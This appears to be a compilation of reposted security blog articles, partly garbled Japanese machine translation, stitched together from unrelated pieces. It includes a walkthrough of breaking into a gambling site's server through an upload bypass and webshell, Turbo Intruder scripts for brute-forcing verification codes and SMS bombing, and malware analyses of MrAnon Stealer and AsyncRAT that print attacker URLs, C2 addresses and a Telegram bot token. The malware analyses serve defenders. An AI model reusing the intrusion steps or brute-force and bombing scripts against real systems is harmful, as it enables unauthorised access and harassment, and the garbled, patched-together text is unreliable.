-a x64 -表示我們的文件包含64位指令。我們知道這是因為我們使用的是x64dbg而不是x32dbg。

運行此命令後，將成功地模擬shellcode，並向我們提供有關其功能的大量信息。

21.png

Speakeasy輸出顯示了一個C2地址

可以看到對User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2;NET CLR 2.0.50727)\r\n的用戶代理的引用。

如果有可用的代理日誌，這個用戶代理將是查找代理日誌的好地方。

22.png

在Ghidra中查找Shellcode解密函數

在第一次觸發硬件斷點時，主要可執行文件可能位於解密函數的中間。我們可以使用這些信息在Ghidra中查找相同的解密函數。

在Ghidra中查找Shellcode解密函數；

用ChatGPT識別解密例程邏輯；

使用Ghidra識別解密密鑰；

利用熵定位加密shell；

使用Cyberchef執行手動解碼；

使用解密字節查找其他樣本；

使用解密代碼創建Yara Rule 。

HireHackking

0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー（またはバープスーツ、ワイレシャーク）を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します：http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました：x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21＃WECHAT_REDIRECT

HireHackking

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン（HTTPパイプライン）を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000％です（Connection: close）

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します（パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません）

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「％s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード：

Itertools Import製品から

def brute_veify_code（ターゲット、エンジン、長さ）:

pattern='1234567890'＃辞書の生成に使用される#iterativeオブジェクト

リスト（製品（パターン、繰り返し=長さ））: #Product（）のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join（i）

Engine.Queue（ターゲット.req、コード）

def queuerequests（ターゲット、ワードリスト）:

Engine=requestEngine（endpoint=target.endpoint、＃ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline（HTTP Pipelining）モード

））

brute_veify_code（ターゲット、エンジン、6）#modify検証コード数字の数に従ってモディー

DEF Handleresponse（REQ、興味深い）:

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add（req）

デモ：

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「％s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「％s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード：

def queuerequests（ターゲット、ワードリスト）:

Engine=requestEngine（endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

））

範囲のIの場合（30）: #Create 30リクエスト。

Engine.queue（ターゲット.req、ターゲット、baseinput、gate='race1'）

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate（ 'race1'）#identify同じ同時テストに属する要求

Engine.comPlete（タイムアウト=60）

DEF Handleresponse（REQ、興味深い）:

Table.Add（req）

デモ：このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「％s」フィールドが必要なため、リクエストパッケージのどこにでも「％s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:％sをリクエストヘッダーに追加することを忘れないでください（ターボの％sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に％sはチェックされます）このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

HireHackking

FortiGuard實驗室最近發現了一個電子郵件釣魚活動，利用欺騙性的預訂信息引誘受害者點擊惡意PDF文件。 PDF下載了一個用PowerGUI創建的.NET可執行文件，然後運行PowerShell腳本來獲取最終的惡意軟件，稱為MrAnon Stealer。

該惡意軟件是一個基於Python的信息竊取程序，使用cx Freeze壓縮以逃避檢測。 MrAnon Stealer竊取受害者的憑據、系統信息、瀏覽器會話和加密貨幣擴展，攻擊流程如下所示。

1.png

攻擊流

下載網址主要在德國被查詢，這表明它是攻擊的主要目標。這個URL的查詢數量在2023年11月顯著上升，該活動在該月異常活躍和激進。在本文中，我們將詳細介紹該惡意軟件在每個階段的行為。

2.png

初始感染載體：Booking.pdf

攻擊者偽裝成一家希望預訂酒店房間的公司，發送主題為“12月房間可用性查詢”的網絡釣魚電子郵件。該網站包含假日期間虛假的酒店預訂信息，附加的惡意PDF文件有一個下載鏈接隱藏在對像中。其解碼後的數據如下：

3.png

網絡釣魚郵件

4.png

惡意PDF文件

.NET可執行文件：adobe.exe通過“Loader”類中的字符串，可以發現惡意軟件使用了PowerShell腳本編輯器，該編輯器將PowerShell腳本轉換為微軟可執行文件。

5.png

反編譯的Exec()函數

在檢查下圖所示的.NET可執行文件後，我們發現它利用ScriptRunner.dll提取“Scripts.zip”以獲得一個PowerShell腳本。解壓後的文件存放在以下位置：

“%USERPROFILE%\AppData\Local\Temp\QuestSoftware\PowerGUI”

這個.NETMicrosoft Windows可執行文件的唯一任務是解壓縮名為“down2”的嵌入式腳本，並使用PowerShell.exe執行它。打包的文件和PowerShell配置位於文件的資源部分，如下圖所示。

6.png

加載PowerShell腳本的ScriptRunner.dll

7.png

惡意軟件的資源部分

PowerShell腳本：down2.ps1該腳本啟動Windows窗體的加載並配置其設置，包括窗體、標籤和進度條。此外，它在後續腳本的執行中定義了文本，以消除用戶的疑慮。

8.png

Create Windows表單

在'Form Load event'部分中，腳本從相同的域“anonbin[.]ir”中檢索有效負載，並解壓縮臨時文件夾中的文件。然後，它在zip歸檔中定位執行文件，並使用“Start-Process”執行。在這種狀態下，會顯示一個名為“File Not Supported”的窗口，並伴有一條指示“Not Run: python.exe.”的狀態消息。這種欺騙性的演示旨在誤導用戶，使其相信惡意軟件尚未成功執行。下圖顯示了惡意軟件執行過程中的窗口和進度條。

9.png

Form Load事件部分

10.png

執行python.exe期間顯示的進度窗口

Cx_Freeze打包文件：python.exe壓縮文件“Ads-Pro-V6-Free-Trail (1).zip”包含多個文件。下圖顯示了解壓文件夾的內容。在此文件夾中，兩個DLL文件作為乾淨的組件，以方便“Python .exe”進程加載額外的Python代碼。下圖展示了“Python .exe”中的WinMain函數，清楚地表明這不是一個合法的Python可執行文件。

11.png

Ads-Pro-V6-Free-Trail (1).zip中的文件

12.png

python.exe中的WinMain

跟踪初始調用可以發現執行文件源自cx_Freeze工具。然後，腳本搜索目錄“\lib\library.zip”，並使用“PyObject_CallObject”調用惡意Python代碼。

13.png

檢查目錄\\lib\\library.zip

14.png

調用Python主代碼

下圖顯示了“library.zip”中的文件。值得注意的是，與合法文件相比，“cstgversion_main__.pyc”由於其獨特的創建時間而脫穎而出。此特定文件包含負責數據盜竊的主要函數。

15.png

library.zip中的文件

MrAnon Stealer首先，惡意軟件會驗證系統上是否存在以下進程，如果存在則會終止它們：

“ArmoryQt.exe”,“AtomicWallet.exe”,“brave.exe”,“bytecoin-gui.exe”,“chrome.exe”,“Coinomi.exe”,“Discord.exe”,“DiscordCanary.exe”,“Element.exe”,“Exodus.exe”,“firefox.exe”,“Guarda.exe”,“KeePassXC.exe”,“NordVPN.exe”,“OpenVPNCo nnect.exe”,“seamonkey.exe”,“Signal.exe”,“Telegram.exe”,“filezilla.exe”,“filezilla-server-gui.exe”,“keepassxc-proxy.exe”,“msedge.exe”,“nordvpn-service.exe”,“opera.exe”,“steam.exe”,“walletd.exe”,“waterfox.exe”,“yandex.exe”

然後使用“ImageGrab”抓取截圖，保存文件名為“Screenshot (Username ).png.”，此外，它還與“api.ipify.org”和“geolocation-db.com/jsonp”等合法網站建立連接，以檢索系統的IP地址、國家名稱和國家代碼。它還從下列來源收集資料：

瀏覽器數據：7Star、Amigoz、Bravez、Cent Browser、Chrome Canary、Epic Privacy Browser、Google Chrome、Iridium、Kometa、Microsoft Edge、Opera、Opera GX、Orbitum、Sputnik、Torch、Uran、Vivaldi、Yandex、Firefox、Pale Moon、SeaMonkey和Waterfox。

桌面錢包：Bytecoin Wallet, Guarda, Atomic Wallet, Coinomi Wallet, Bitcoin Armory和Exodus.

瀏覽器擴展：

17.jpg

即時通信：Discord, Discord Canary, Element, Signal, Telegram Desktop。

VPN客戶端：NordVPN、ProtonVPN和OpenVPN Connect。

Browser Wallet：

18.1.jpg

18.2.jpg

18.3.jpg

18.4.jpg

18.5.jpg

其他：FileZilla和FileZilla Server。

遊戲：Steam。

文件：它掃描這些目錄：Desktop, Documents, Downloads, Pictures, and grabs specific files with following extensions: “.7z,” “.bmp,” “.conf,” “.csv,” “.dat,” “.db,” “.doc,” “.jpeg,” “.jpg,” “.kdbx,” “.key,” “.odt,” “.ovpn,” “.pdf,” “.png,” “.rar,” “.rdp,” “.rtf,” “.sql,” “.tar,” “.txt,” “.wallet,” “.xls,” “.xlsx,” “.xml,” and “.zip.”

接下來，它壓縮被盜數據，用密碼保護數據，並將文件名指定為“Log（Username）.zip”。壓縮後的文件將使用URL上傳到公共文件共享網站hxxps://store1[.]gofile[.]io/uploadFile。最後，它將下載鏈接和系統信息附加到一條消息中，該消息使用bot令牌6799784870:AAHEU6EUdnAjRcH8Qq0TCokNtVJSL06VmbU發送到攻擊者的Telegram頻道。

18.png

Telegram消息中的被盜數據

19.png

zip文件

MrAnon Stealer的支持通道如下圖所示。該支持渠道推廣其產品，提供增強的功能，並在“hxxp[：]//anoncrypter[.]com”上為所有相關工具提供購買頁面

20.png

MrAnon Stealer的telegram頻道

21.png

MrAnon Tools的網站

攻擊者在今年早些時候建立了網站“anonbin[.]ir”，如下圖所示，並下載了所有相關文件。經過調查，我們發現了7月份使用cx_Freeze的類似打包文件。這些文件始終以基於Python的竊取程序為特徵，由代碼中共享的“HYDRA”標識標識，如下圖所示。

該活動最初在7月和8月傳播Cstealer，但在10月和11月過渡到傳播MrAnon Stealer。這種模式表明了一種戰略方法，即繼續使用釣魚電子郵件來傳播各種基於Python的竊取程序。

22.png

hxxps[:]//anonbin[.]ir的主頁

23.png

七月份惡意軟件的標識

總結該惡意軟件使用PowerGUI和cx-Freeze工具創建一個複雜的過程，涉及.NET可執行文件和PowerShell腳本。攻擊者還使用虛假錯誤消息等技巧來隱藏攻擊活動，從特定域下載並提取文件，以運行有害的Python腳本。該腳本提取乾淨的DLL文件和名為“python.exe”的惡意軟件，用來掩蓋惡意有效負載MrAnon Stealer的加載。它從幾個應用程序中竊取數據和敏感信息，然後將竊取的數據壓縮並上傳到公共文件共享網站和攻擊者的Telegram頻道，用戶應小心網絡釣魚郵件和不清晰的PDF文件。

HireHackking

惡意軟件分析涵蓋一系列活動，其中包括仔細檢查惡意軟件的網絡流量。要想有效地做好這項工作，關鍵在於要了解常見的威脅以及如何克服這些威脅。下面將介紹企業可能遇到的三個常見問題以及解決它們所需要的工具。

解密HTTPS流量超文本安全傳輸協議（HTTPS）原本是一種確保安全在線通信的協議，如今卻已經成為了惡意軟件隱藏其惡意活動的一種工具。通過偽裝受感染設備與指揮和控制（CC）服務器之間的數據交換，惡意軟件就可以在不被發覺的情況下運行，往外洩露敏感數據，安裝額外的攻擊載荷，並接收來自攻擊者團伙的指令。

然而，如果有合適的工具，解密HTTPS流量就輕而易舉。為此，我們可以使用中間人（MITM）代理，MITM代理充當了客戶機與服務器之間的中介，可以攔截兩者之間傳輸的信息。

MITM代理幫助分析人員實時監控惡意軟件的網絡流量，以便他們清楚地了解惡意活動。除此之外，分析人員還可以訪問請求和響應數據包的內容、IP以及URL，以查看惡意軟件通信的詳細信息，並識別竊取的數據，這種工具對於提取惡意軟件使用的SSL密鑰特別有用。

1.png

圖1. ANY.RUN沙箱提供的有關AxileStealer的信息

在這個例子中，初始文件（大小為237.06 KB）投放AxilStealer的可執行文件（大小為129.54 KB）。作為一種典型的信息竊取器，它獲得了訪問存儲在網絡瀏覽器中的密碼的權限，開始通過Telegram消息傳遞連接將密碼傳輸給攻擊者。

規則“STEALER [ANY.RUN] Attempt to exfiltrate via Telegram”（STEALER [ANY.RUN]企圖通過Telegram往外洩露）表明了惡意活動。由於MITM代理功能，惡意軟件的流量已被解密，揭露了這個事件的更多細節。

發現惡意軟件家族識別惡意軟件家族是任何網絡調查工作的一個關鍵部分。 Yara規則和Suricata規則是用於這項任務的兩種常用工具，但在處理服務器不再活躍的惡意軟件樣本時，它們的有效性卻可能受到限制。

FakeNET為此提供了一個解決方案，即創建一條虛假的服務器連接來響應惡意軟件請求，誘騙惡意軟件發送請求可以觸發Suricata規則或YARA規則，該規則可以準確識別惡意軟件家族。

2.png

圖2. ANY.RUN沙箱檢測到的非活躍服務器

在分析該樣本時，沙箱指出了惡意軟件的服務器沒有響應這個事實。

3.png

圖3. 使用FakeNET識別出來的Smoke Loader惡意軟件

然而，在啟用FakeNET功能後，該惡意軟件立即向虛假的服務器發送請求，觸發識別出它是Smoke Loader的網絡規則。

捕捉針對特定地區的隱蔽性惡意軟件許多攻擊和網絡釣魚活動將目光重點投向特定的地區或國家。隨後，它們結合IP地理位置、語言檢測或網站屏蔽等機制，這些機制可能會限制分析人員檢測它們的能力。

除了針對特定地區外，惡意軟件團伙還可能利用一些技術來逃避沙箱環境中的分析活動。一種常見的方法是驗證系統是否正在使用數據中心IP地址。一旦予以證實，惡意軟件就停止執行。

為了克服這些障礙，分析人員使用了住宅代理。這種出色工具的工作原理是，將分析人員的設備或虛擬機的IP地址換成來自世界不同地區的普通用戶的住宅IP。

這項功能使專業人員能夠通過模仿本地用戶來繞過地理限制，並在不暴露其沙箱環境的情況下研究惡意活動。

4.png

圖4. 使用FakeNET識別出來的Smoke Loader惡意軟件

在這裡（https://app.any.run/tasks/eda5aee1-8231-4024-ae83-51fd29f585e2/?utm_source=thehackernewsutm_medium=articleutm_campaign=howtoanalynetworktrafficutm_content=sampleutm_term=13122023），一旦主機IP地址被上傳到了沙箱，Xworm就立即核查該IP地址。然而，由於虛擬機有一個住宅代理，惡意軟件繼續執行，並連接到其指揮和控制服務器。

HireHackking

data_darknet_abstract-1200x600.jpg

每年都會有大量的公司發生重大數據洩露事件，例如2022年Medibank和Optus的數據洩露、Twitter的數據洩露、Uber和Rockstar的數據洩露以及2023年T-Mobile、MailChimp和OpenAI的數據洩露。在2022年，卡巴斯基實驗室列出了全球700家來自不同行業的公司，然後在暗網上搜索，試圖分析這些公司遭受攻擊的可能性有多大？

研究發現，暗網裡的帖子都是關於出售受攻擊帳戶、內部數據庫和文檔，以及訪問公司基礎設施。雖然暗網確實促進了各種數據類型的銷售，例如，銀行卡信息、駕駛執照和身份證照片等，但本文重點還是放在了與企業特別相關的信息上。研究發現700家公司中有223家在暗網上被提及，洩露數據的主題也不同。

1.png

各行業分佈

這意味著三分之一的公司在與銷售數據或訪問相關的暗網帖子中被引用，即使是網絡安全成熟度高的公司也避免不了被黑客攻擊。

本文提供了一個統計概述，包括所有暗網帖子，涉及2022年1月至2023年11月期間出售、購買或免費傳播受攻擊帳戶的數據。

數據洩露數據洩露會暴露機密、敏感信息，並可能導致重大問題。最常見的例子是數據庫和內部文檔，因為所有有一定規模的公司都使用機密數據，洩露會影響公司本身、員工和客戶。

暗網上每月大約有1700個新的帖子出現，涉及銷售、傳播或購買洩露數據。

2.png

2022年1月至2023年11月與數據庫出售/購買相關的消息數量

應該注意的是，並不是每條消息都代表一條最新出現的洩漏，其中有些是重複的廣告相同洩漏。

3.png

一個組合報價的示例

另一種流行的洩露類型是收集公共數據的數據庫，如姓名、個人資料、id和電子郵件，這些數據來自流行的社交網絡。它們是開發攻擊的寶貴來源。 2021年，超過7億LinkedIn用戶和5.33億Facebook用戶的個人信息被抓取並發佈在暗網上。

4.png

4.2.png

洩露的LinkedIn數據庫分佈示例

基礎設施的訪問以下是網絡攻擊者獲取企業基礎設施初始訪問權限以進行攻擊的最常見行為：

1.利用軟件漏洞。例如，對企業web資源的攻擊，利用跨網站組件的1日漏洞，SQL注入，訪問易受攻擊的web應用程序控制面板等。

2.獲得合法的公司證書。例如，使用竊取日誌中的數據或密碼挖掘。

3.針對員工的網絡釣魚攻擊。例如，帶有惡意負載的電子郵件。

特別要提的是盜用合法賬戶的方法。這些駐留在受感染設備中的惡意程序收集各種帳戶和支付數據、cookie文件、授權令牌等，並保存到日誌中。網絡攻擊者掃描這些日誌，尋找他們可以利用和賺錢的數據，一些人在尋找信用卡數據，另一些人在尋找域名賬戶，社交網絡賬戶等，他們把這個階段稱為加工。在整理完日誌後，他們要么在論壇上公開交換自己的發現，要么把它們賣給個人買家。

關於漏洞(例如SQL注入)和合法憑據(例如RDP/SSH)的信息，對於收入可觀的公司來說，定價會非常不同，因為它們提供了不同的成功攻擊概率。出售帳戶以訪問遠程管理接口(RDP、SSH)意味著已經獲得了對公司網絡基礎設施系統的訪問權限，而漏洞僅僅提供了實現類似級別訪問的機會。即使涉及到同樣的問題，比如SQL注入，也有許多因素影響攻擊的潛在發展，比如易受攻擊的主機位置(例如，公司網絡或云服務器)，預期的漏洞利用技術，數據庫容量等，

基礎設施訪問受歡迎的原因很簡單，複雜的攻擊幾乎總是包括幾個階段，例如偵察、對基礎設施的初始訪問、獲得對目標系統或特權的訪問，以及實際的惡意行為(數據盜竊、破壞或加密等)。不同的階段需要不同的專業知識，因此網絡攻擊者往往具有專業知識，容易獲得訪問權限的人可能在攻擊的發展中面臨困難。在這種情況下，購買初始訪問權限簡化了攻擊，對於經驗豐富的網絡罪犯來說很划算。

對於希望降低與基礎設施訪問銷售相關的風險的企業來說，第一個挑戰是了解銷售情況。與其他類型的數據相比，這種數據類型的巨大區別在於，網絡攻擊者不喜歡在消息中提及公司的名稱，以免失去訪問權限，即使有人提到了名字，社區也會建議他們不要分享多餘的信息。

5.png

對提供出售的帖子發表評論

在這種情況下，如何跟踪此威脅？網絡攻擊者通常會在信息中加入一些屬性，比如地理位置、行業、公司規模和年收入。

6.png

6.2.png

6.3.png

一些帶有公司屬性論壇消息的示例

在2022年，研究人員發現了大約3000個獨立的基礎設施項目，到2023年11月，我們已經找到了超過3100份報價。通常，被黑客攻擊的企業基礎設施包括企業VPN服務的帳戶和內部網絡中的一些服務器或主機(通常，訪問是通過RDP或web shell執行的)。

7.png

2022年1月至2023年11月提供的基礎設施訪問的消息數量

賬戶被盜還有另一類數據是獲得初始訪問權限的真正發現，受攻擊帳戶。根據來源，研究人員將所有受攻擊賬戶分為三類：

1.在網絡威脅組織中自由傳播的公開秘密。

2.在黑客論壇和私人聊天中出售的具有有限訪問權限的漏洞，有時這些只是包含未經驗證的信息的小型數據庫。

3.在暗網論壇上發布的惡意軟件日誌中洩露的用戶賬戶。由於REDLINE和VIDAR這樣的信息竊取程序，這些憑證變得可用，現在可以通過惡意軟件即服務在網絡犯罪社區中輕鬆訪問。

乍一看，網絡攻擊者沒有理由免費共享憑證。然而，如果他們不再需要這些數據，並希望在特定的暗網論壇上提高他們在網絡犯罪社區中的比率，他們仍然可以這樣做。此外，他們還可以發布一些包含受攻擊帳戶的惡意軟件日誌文件，以進行下一次銷售。

這三種類型的證書洩露都對公司造成了威脅，有些員工不顧禁令，使用公司電子郵件地址在第三方網站上註冊。在典型情況下，公司員工對外部服務和公司資源使用相同的密碼，有助於網絡攻擊者未經授權便訪問公司基礎設施。

HireHackking

最近，趨勢科技管理的XDR (MxDR)團隊處理了涉及AsyncRAT的各種樣本，這是一種具有多種功能的遠程訪問工具(RAT)，例如鍵盤記錄和遠程桌面控制，這種工具可以使其對受害者構成重大攻擊。例如，攻擊者會冒充當地銀行和執法機構，將AsyncRAT傳播給他們的目標。

2021年，AsyncRAT參與了名為“Spalax行動”的網絡釣魚活動，這些網絡釣魚活動一直持續到2021年底和2022年初。他們使用HTML附件進行AsyncRAT傳播，同時還集成了反射加載技術。

t0：用戶下載帶密碼保護的ZIP文件downloadedFile_SSAfnmeddOFzc.zip；

1分20秒：用戶解壓縮包含.wsf腳本的ZIP文件

1分26秒：下載並執行第一個有效負載，導致下載第二個有效負載；

1分35秒：自動啟動；

1分59秒：下載並執行第二個有效負載；

5分48秒：進程注入到aspnet_compiler.exe和通過動態DNS的命令與控制(CC)連接

下圖描述了對涉及aspnet_compiler.exe的可疑活動的檢測，該活動試圖與外部IP地址45[.]141[.]215[.]40建立連接。同時，我們的分析揭示了有關PowerShell腳本和批處理文件的執行情況。我們能夠使用這些數據作為支點，回溯並調查文件的入口點及其附加活動。

1.png

被觸發的工作台警報

我們發現，攻擊的觸發因素是一個最初通過谷歌Chrome下載的名為downloadd_file_ssafnmeddofzc .zip的文件。

2.jpg

通過Chrome瀏覽器下載downloadfile_ssafnmeddofzc .zip文件

用戶打開ZIP文件，可以發現其中包含一個名為downloaddfile_ssafnmedd .wsf的腳本文件。我們收集了ZIP文件，發現它是受密碼保護的。

根據最近的報告顯示，AsyncRAT通常通過垃圾郵件傳播。我們強烈懷疑用戶可能已經收到了解壓ZIP文件的密碼，以及惡意鏈接。用戶使用密碼提取並打開了文件，突出了攻擊者用來規避檢測的常用策略，即使用電子郵件中包含的密碼提取ZIP文件。

3.jpg

檢查執行配置文件會發現wscript.exe是通過Windows資源管理器啟動的，這表明用戶通過雙擊它來執行該文件。安裝順序包括創建和執行多個PowerShell腳本(.ps1)、VBScript (.vbs)和批處理文件(.bat)。

4.png

執行downloadd_file_ssafnmeddofzc .wsf文件並創建多個腳本文件

通過使用反惡意軟件掃描接口(AMSI)監測(TELEMETRY_AMSI_EXECUTE)，我們在運行時獲得了與downdownloadfile_ssafnmeddofzc .wsf相關的數據，使我們能夠辨別文件的目的及其相應的活動。

5.jpg

腳本下載file_ssafnmeddofzc .wsf(.wsf)是一個Windows腳本文件，它使用PowerShell和VBScript命令的混合來執行一系列活動。它創建了一個WScript.Shell對象，通常用於執行Shell命令，並在C:\Users\Public目錄中生成名為VLCdllFrame.xml的文本文件。作為第二個參數的' true '值表示，如果該文件已經存在，則該文件將被覆蓋。

腳本使用start - bittransfer命令從hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg下載文件，以“snakers.zip”保存。隨後，它將內容提取到C:\Users\Public目錄中，或者在某些情況下提取到C:\Users\Public\ pictures \中。執行PowerShell命令後，腳本將刪除之前創建的VLCdllFrame.xml文件。

我們收集了snake .zip並分析了其內容，發現其存在各種惡意腳本，這些腳本都是AsyncRAT安裝例程的組成部分。

6.jpg

AsyncRAT安裝例程的組件

下圖描述了由Vision One生成的執行概要文件，說明了當用戶打開文件downloadd_file_ssafnmeddofzc .wsf時觸發的AsyncRAT安裝例程中的事件序列。

7.png

AsyncRAT安裝鍊和代碼注入到aspnet_compiler.exe

我們觀察到aspnet_compiler.exe正在建立與IP地址208[.]95[.]112[.]1:80（IP-api[.]com）和45[.]141[.]215.40:4782（httpswin10[.]kozow[.].com）的連接。前者用於地理位置檢查，而後者（被標識為免費動態DNS）可能被攻擊者用來混淆其真實服務器IP地址，從而實現快速更改以逃避檢測。在其他情況下，可以看到它連接到66escobar181[.]ddns[.]net，另一個動態DNS服務器。

8.png

連接到外部IP地址45[.]141[.]215.40(動態DNS)的aspnet_compiler.exe可執行文件

計劃任務的創建名為Reklam或Rekill，提供了AsyncRAT持久性功能。下圖顯示了Webcentral.ps1的內容，該腳本負責創建一個計劃任務，該任務使用Windows任務調度程序服務每兩分鐘執行一次C:\Users\Public\hash.vbs或C:\Users\Public \Pictures\hash.vbs。

9.png

Webcentral.ps1為持久性創建計劃任務（由AMSI遙測記錄）腳本

分析通過分析腳本，我們能夠更深入地了解攻擊的目標。下圖說明了該攻擊如何策略性地使用多層腳本作為逃避檢測的手段。隨後，它繼續向aspnet_compiler.exe執行代碼注入，這是另一種不被檢測到的方法。

接下來，我們將討論從snakes .zip中提取的每個腳本的目標。

10.png

AsyncRAT安裝例程

